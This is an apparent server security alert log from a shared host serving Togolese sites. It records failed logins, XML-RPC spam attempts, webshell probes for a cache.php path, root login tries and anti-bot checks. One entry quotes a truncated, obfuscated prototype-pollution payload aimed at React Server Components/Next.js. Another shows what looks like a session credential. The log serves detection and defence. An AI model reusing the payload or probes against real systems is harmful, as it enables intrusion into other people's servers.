2026-06-15 14:10:14 dovecot_plain authenticator failed for H=c-174-50-169-222.hsd1.ca.comcast.net (79zx1tsrof4ljs70rkncixjrb7w) [174.50.169.222]:52387: 535 Incorrect authentication data (set_id=sergdev@dgdn-togo.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:14:09:30 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7313565&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781532568 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 139.99.170.109
country_id: 2077456
description:
139.99.170.109 - - [15/Jun/2026:14:09:32 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10119528&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781532570 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:139.99.170.109


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 174.50.169.222
country_id: 6252001
description:
Jun 15 14:10:12 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 174.50.169.222 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 77.173.217.95
country_id: 2750405
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:31448f11cfd63d140e58b910f630dee65e9658f9||Title:y5hxqus7d0c8hqs2p||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 77.173.217.95
country_id: 2750405
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:378947fa92b32c7cd3d80455449a0604faf0ab20||Title:jjlo6436wluumzj1tv||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77093094
abuser: 35.192.232.168
country_id: 6252001
domain: www.snbrasseriecom.snb.tg
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"status\":\"resolved_model\",\"then\":\"$1:__proto__:then\",\"_c55ba933\":true,\"_response\":{\"_prefix\":\"var pzxf=arguments[0x1];var ftnl=pzxf;try{var _v=((0,eval)(global[\\\"\\\\x42\\\\x75\\\\x66\\\\x66\\\\x65\\\\x72\\\


plugin: modsec
rule: 77093094
abuser: 35.192.232.168
country_id: 6252001
domain: www.snbt-togocom.snb.tg
description:


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 77.173.217.95
country_id: 2750405
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:6f4dbf9e4b2fa8fc5764410caf91fcc279e2415a||Title:qdhd1iqatreazhkiw||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 77.173.217.95
country_id: 2750405
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:68f44c965e65017dedbcba6eea18b9ef2bb7d885||Title:8az0lxzma3kvzvpnz||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 62.60.130.224
country_id: 130758
domain: mesyscom.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.17||T:APACHE||MV:/images/images/cache.php||SC:/home/jmtctoni/public_html/images||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.120
country_id: 1880251
description:
47.128.96.120 - - [15/Jun/2026:14:14:30 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6787990&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Frisques-dinondation-au-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781532869 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/risques-dinondation-au-togo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.120


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 77.173.217.95
country_id: 2750405
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:680f7bd17cca3be46696414842b2bbf45af88e2f||Title:eisplboz5xdcm6d2||RSV:8.17||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.152
country_id: 1880251
description:
47.128.96.152 - - [15/Jun/2026:14:14:42 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6854245&pdata=https%253A%252F%252Fcfpj.tg%252Fcategory%252Fnon-classe%252F%253F__im-mLcLAlHa%253D3875901866547102545%25252Fpage%25252F12%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F12%25252F%25252Fpage%25252F12%25252F%25252Fpage%25252F12%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F12%25252F%25252Fpage%25252F3%25252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781532880 HTTP/2.0" 302 0 cfpj.tg "https://cfpj.tg/category/non-classe/?__im-mLcLAlHa=3875901866547102545%2Fpage%2F12%2F%2Fpage%2F3%2F%2Fpage%2F2%2F%2Fpage%2F2%2F%2Fpage%2F2%2F%2Fpage%2F12%2F%2Fpage%2F12%2F%2Fpage%2F12%2F%2Fpage%2F2%2F%2Fpage%2F12%2F%2Fpage%2F3%2F" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.152


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.123
country_id: 1880251
description:
47.128.96.123 - - [15/Jun/2026:14:15:38 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12872851&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Ffaux-recrutement-massif-unicef%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781532937 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/faux-recrutement-massif-unicef/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.123


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.19
country_id: 1880251
description:
47.128.96.19 - - [15/Jun/2026:14:15:57 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9804999&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fdemission-fecafoot%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781532956 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/demission-fecafoot/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.19


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.145
country_id: 1880251
description:
47.128.96.145 - - [15/Jun/2026:14:15:45 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10052710&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Ffc-barca%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781532944 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/fc-barca/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.145


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 77.173.217.95
country_id: 2750405
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:e5ed1c1ca459d6e210b9ca0c09954847c66db383||Title:bdrethzw0mqrnp0||RSV:8.17||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.170.66.202
country_id: 2363686
description:
[2026-06-15 14:16:09 +0000] info [webmaild] 196.170.66.202 - wiyao.g@inger.tg "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 51.83.5.75
country_id: 3017382
description:
[2026-06-15 14:15:18 +0000] info [cpaneld] 51.83.5.75 NEW he24djure:PjdmKkNHhnOxy6K7 address=51.83.5.75,app=cpaneld,creator=he24djure,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 77.173.217.95
country_id: 2750405
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:08746d2110213f694bae693c50cf23ca16e1e6e1||Title:s9tviwmtgmhp1wj8t||RSV:8.17||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 168.245.197.146
country_id: 2510769
description:
2026-06-15 14:16:34 dovecot_plain authenticator failed for H=(kkqg986kzyseno482e8xk19px3ey) [168.245.197.146]:51751: 535 Incorrect authentication data (set_id=info@keedyfarms.com)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.19
country_id: 1880251
description:
47.128.96.19 - - [15/Jun/2026:14:16:50 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10001817&pdata=https%253A%252F%252Ftdn.tg%252Fbraquage-au-tribunal-de-bouake-un-detenu-sevade-avec-la-voiture-du-juge-dinstruction%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781533008 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/braquage-au-tribunal-de-bouake-un-detenu-sevade-avec-la-voiture-du-juge-dinstruction/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.19


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.168.157.73
country_id: 2363686
description:
[2026-06-15 14:17:11 +0000] info [webmaild] 196.168.157.73 - agou1@agou1.mairie.tg "POST /cpsess1530228818/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [196.170.114.40] != Current IP Address [196.168.157.73]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 168.245.197.146
country_id: 2510769
description:
Jun 15 14:16:32 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 168.245.197.146 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.169
country_id: 1880251
description:
47.128.96.169 - - [15/Jun/2026:14:16:57 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6854553&pdata=https%253A%252F%252Ftdn.tg%252Ftogo-augmentation-prix-produits-petroliers-2026%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781533016 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/togo-augmentation-prix-produits-petroliers-2026/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.169


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 77.173.217.95
country_id: 2750405
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:678875c0bd6f70985a1d111a6862f767f8e0382d||Title:u8w5tp15jfxe5ysc||RSV:8.17||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.129
country_id: 1880251
description:
47.128.96.129 - - [15/Jun/2026:14:19:03 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6579562&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Frisques-dinondation-au-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781533141 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/risques-dinondation-au-togo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.129


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.176
country_id: 1880251
description:
47.128.96.176 - - [15/Jun/2026:14:18:55 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13068395&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Ffc-barca%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781533134 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/fc-barca/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.176


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 77.173.217.95
country_id: 2750405
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:3be960aa7120b7716bcc643c55fafe73b1e85910||Title:plgpbyrev6ei8fl||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 203.188.183.67
country_id: 3017382
domain: c2ie.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:14-20.203.188.183.67||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 77.173.217.95
country_id: 2750405
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:19f64768107e1172fd87f51a7cd936b201135096||Title:28z3cbep6z4vuoca||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 77.173.217.95
country_id: 2750405
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:36aa55187715e211b6977825865f46245868af8e||Title:rrpe59opouy8qjr329||RSV:8.17||T:APACHE||


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:14:20:50 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:14:20:49 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 77.173.217.95
country_id: 2750405
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:52e6bdee075bf0957b10046ee5cb68084e691adb||Title:rop5lv8fok16n7szp||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 77.173.217.95
country_id: 2750405
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:baff485a28e9d3a2ed69d9655a7c3d5d582bcd4d||Title:bqi41wikw546udz3||RSV:8.17||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 41.208.191.158
country_id: 2245662
description:
41.208.191.158 - - [15/Jun/2026:14:24:17 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10196841&pdata=https%253A%252F%252Fsp-eau.tg%252Fproject%252Fprojet-dalimentation-en-eau-potable-de-la-ville-de-kara-et-ses-environs%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781533456 HTTP/2.0" 302 0 sp-eau.tg "https://sp-eau.tg/project/projet-dalimentation-en-eau-potable-de-la-ville-de-kara-et-ses-environs/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:41.208.191.158


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 77.173.217.95
country_id: 2750405
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:31cdec300b1e2626aed3ecc87dacaf9264d515a8||Title:bm6unuc9aq9at4mfoi||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 77.173.217.95
country_id: 2750405
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:afc436e8d58c2f4c723e4bace48831287eec3a7e||Title:02qzx90o3tfupknv||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 85.215.117.93
country_id: 2921044
domain: cloud-et-racks.tg
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.17||T:APACHE||MV:/images/images/cache.php||SC:/home/cloudetracks/public_html/images||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 85.215.117.93
country_id: 2921044
domain: inger.tg
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.17||T:APACHE||MV:/images/images/cache.php||SC:/home/ingertgsarl/public_html/images||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.174
country_id: 1880251
description:
47.128.96.174 - - [15/Jun/2026:14:26:10 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7102617&pdata=https%253A%252F%252Fcfpj.tg%252Fhistorique%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781533568 HTTP/2.0" 302 0 cfpj.tg "https://cfpj.tg/historique/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.174


plugin: modsec
rule: 77093094
abuser: 40.114.79.135
country_id: 6252001
domain: www.hrmbj.mesyscom.com
description:


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:14:25:36 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10052756&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781533534 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 77.173.217.95
country_id: 2750405
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:f320db3509214084370fc82f6dc99fc696b2f174||Title:qutckiz9iwcj6npd7||RSV:8.17||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 139.99.170.109
country_id: 2077456
description:
139.99.170.109 - - [15/Jun/2026:14:25:37 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9881286&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781533535 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:139.99.170.109


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 85.215.117.93
country_id: 2921044
description:
[2026-06-15 14:26:36 +0000] info [whostmgrd] 85.215.117.93 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 77.173.217.95
country_id: 2750405
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:0bc25c738ca98bf8fbc155db3c8afc4c2a5c07b2||Title:bhskfawv4yahnwdm||RSV:8.17||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.239.13.210
country_id: 6251999
domain: afriquerevelation.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:104.239.13.210||TA:104.239.13.210||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 85.215.117.93
country_id: 2921044
description:
[2026-06-15 14:26:37 +0000] info [whostmgrd] 85.215.117.93 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: modsec
rule: 77093094
abuser: 40.114.79.135
country_id: 6252001
domain: www.hsi.pnls.tg
description:


